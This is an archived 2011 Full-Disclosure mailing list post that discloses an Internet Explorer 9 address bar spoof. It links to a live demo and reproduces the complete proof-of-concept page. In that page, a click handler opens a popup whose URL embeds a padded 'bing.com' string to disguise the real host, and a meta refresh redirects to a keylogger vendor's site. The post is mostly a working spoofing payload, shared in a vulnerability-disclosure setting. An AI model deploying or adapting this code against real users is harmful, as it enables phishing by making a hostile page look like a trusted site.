full-disclosure - IE9 Address Bar Spoof

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 5 Mar 2011 17:48:58 +0000
From: cyber flash <cyber_flash@...mail.com>
To: <full-disclosure@...ts.grok.org.uk>
Subject: IE9 Address Bar Spoof


IE9 Address Bar Spoof: For a quick demo, please visit
 
http://keyloggeronline.com/misc/temp/about.htm
 
Thanks.
 
 
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta http-equiv="REFRESH" content="10;url=http://www.keyloggeronline.com/index.php">
<title>Spoof</title>
<script>
function myOpen() {
    var mywin=open('about:blank',"mywindow",'location=1,scrollbars=0,width=300,height=290');
    mywin.location.href="http://www.keyloggeronline.com/misc/temp/a.php?http://www.bing.com/"+Array(5).join(' ')+'&nbsp;';  
    self.blur();                                                     
}
</script>
</head>
<body onclick="myOpen();">
Click anywhere on this page!
</body>
</html>

  		 	   		  
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/